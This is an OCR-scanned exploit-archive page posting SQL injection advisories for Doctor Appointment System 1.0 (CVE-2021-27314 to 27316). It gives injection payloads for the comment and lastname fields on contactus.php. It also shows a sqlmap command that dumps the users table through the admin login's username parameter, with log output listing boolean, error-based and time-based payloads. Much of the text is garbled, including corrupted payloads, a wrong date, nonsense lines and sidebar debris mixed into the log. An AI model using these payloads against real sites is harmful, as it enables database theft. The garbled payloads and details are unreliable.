Search

Home Files News About Contact &[SERVICES_TAB] Add New

Doctor Appointment System 1.0 SQL Injection

Posted Mar 3, 2021

Doctor Appointment System version 1.0 suffers from remote SQL injection vulnerabilities in the username, comment, and lastname parameters.

tags | exploit remote vulnerability sql injection

ries | CVE-2021-27314 CVE-2021-27315 CVF-2021-27316

Related Files

Share This

Lik€ Two LinkedIn

Reddit Digg StumbleUpon

Change Mirror Download # Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in comment parameter # Date: 02-03-2021 # CVE: CVE-2021-27315 # CVE: CVE-2021-27315 # EXploit Author: Soham Bakore # Exploit Author: Soham Bakore Wendor Homepage: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html # Software Link: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html # Version: V1.0 Vulnerable File: comment parameter has no input validation I) Navigate to http://host/doctorappointment/contactus.php 2| In the comment parameter enter following payload to exploit blind SQL Injection: "ANDH-(SELECT-7827*FRGM*(SELECT (SELEPT(ID)))*XEI)+ANDH-11*3d-1 3] This can further be escalated to dump sensitive information from the database # Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in lastname parameter

* Date: 02-03-0201

* CVE: CVE-2021-27316

* Exploit Author: Soham Bakore

* Vendor Homepage:

* Vendor Homepage:

* Software Link:

https://www.sourcecdester.com/php/14182/doctor-appointment-system.html

* Software Link:

https://www.sourcecdester.com/php/14182/doctor-appointment-system.html

* Version: V1.0 Vulnerable File: Vulnerable Issue: lastname parameter has no input validation 1] Navigate to http://host/doctorappointment/contactus.php 2] In the lastname parameter enter following payload to exploit blind SQL Injection: "ANNO(ESELECT-1827-FROM(ESELECT(SIERP(10))) SELT10-AND+"1"33d"1 3] This can further be escalated to dump sensitive information from the database Exploit Title: Doctor Appointment System 1.0 - SQL Injection in username parameter * BAPPAID 1.05.001.

COMP. OFFICE OF A PROPRIETE STATEMENT OF THE STAT https://www.sourcecodester.com/php/14182/doctor-appointment-system.html # Version: Vi.0 Vulnerable File: http://host/doctorappointmen <http://host/patient/search_result.php> tsystem/admin/index.php username parameter has no input validation >>sqlmap -r /root/CVE/das/req1.txt --batch --level 5 --risk 3 -p username --random-agent --dbms mysql -D projectmms -T users --dump [1] legal disclaimer: Usage of sqimap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [14:12:19] [INFO] parsing HTTP request from '/root/CVE/das/req1.txt' [14:12:19] [INFO] fetched random HTTP User-Agent header value 'Morilla's.0 (Mindows JV 51.7 pl-E2) ApplebMRIt/325.19 (RHTML, like Gecko) Version/3.1.2 Safari/525.21 from file 'Vass'share*Signaps/dats/txt/user-agents.txt' 'Vass'share*Signaps/dats/txt/user-agents.txt' 'Safari/525.21 from the target UNL sqlmap resumed the following injection point(s) from stored session: Parameter: username (FOST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Fayload: username-admin' OR NOT 7090-7090-- kiSrépassword-adminésubmit-Type: error-based
Title: My90L >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: username-admin' OR (SELECT 2815 FROM(SELECT
COUNT('), CONCAT(GX168/36271, (SELECT
ELT(2815-2815,)))), (XITIOD671, FLOOR (RAND(0)*2))x FROM
INFORMATION_SCREMA.PLUGINS GROUP BY x)a)-- RDnxfpassword-adminisubmit= Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username-admin' AND (SELECT 4177 FROM
(SELECT(SLEEP(5)))qiHS)-- gqVmapassword-adminasubmit----[14:12:19] [INFO] testing MySQL [14:12:20] [INFO] confirming MySQL



Su	Мо	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Red Hat 157 files Ubuntu 76 files LiquidWorm 23 files Debian 21 files nu11secur1ty 11 files Gentoo 9 files Google Security Research 8 files Julien Ahrens 4 files T. Weber 4 files

File Tags

File Archives

December 2022 Advisory (79,754) Arbitrary (15,694) October 2022 RRS (2.859) September 2022 August 2022 CGI (1,018) July 2022 Code Execution (6,926) June 2022 Conference (673) May 2022 Cracker (840) April 2022 March 2022 CSRF (3,290) DoS (22 602) February 2022 Encryption (2,349) January 2022 Exploit (50,359) Older File Inclusion (4,165) File Upload (946) Systems Firewall (821) AIX (426) Info Disclosure (2,660) Apple (1,926) Intrusion Detection (867) BSD (370) Java (2.899) CentOS (55) JavaScript (821) Cisco (1.917) Kernel (6,291) Debian (6,634) Local (14.201) Magazine (586) FreeBSD (1,242) Gentoo (4.272) Perl (1.418) HPUX (878) PHP (5.093) iOS (330) Proof of Concept (2,291) iPhone (108) Protocol (3,435) IRIX (220) Python (1.467) Juniper (67) Remote (30,044) Linux (44,315) Mac OS X (684) Ruby (594) Mandriva (3.105) Scanner (1.631) Security Tool (7,777) OpenBSD (479) Shell (3,103) RedHat (12 469) Shellcode (1,204) Slackware (941) Sniffer (886) Solaris (1,607)

```
[14:12:20] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.34, Apache 2.4.46
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[14:12:20] [INFO] fetching columns for table 'users' in database
[14:12:20] [INFO] resumed: 'username'
[14:12:20] [INFO] resumed: 'username'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] retrieved: 'varchar(100)'
[14:12:20] [INFO] retrieved: 'admin'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Spoof (2,166)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SUSE (1,444)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SQL Injection (16,102) Ubuntu (8,199)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              UNIX (9,159)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    TCP (2,379)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Trojan (686)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    UDP (876)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Windows (6,511)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Virus (662)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Other
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Vulnerability (31,136)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Web (9,365)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Whitepaper (3,729)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    x86 (946)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    XSS (17,494)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Other
```

Login or Register to add favorites

File Directory



Site Links News by Month History & Purpose News Tags Contact Information Files by Month Terms of Service File Tags Privacy Statement Hosting By Rokasec Rokasec Subscribe to an RSS Feed

Copyright Information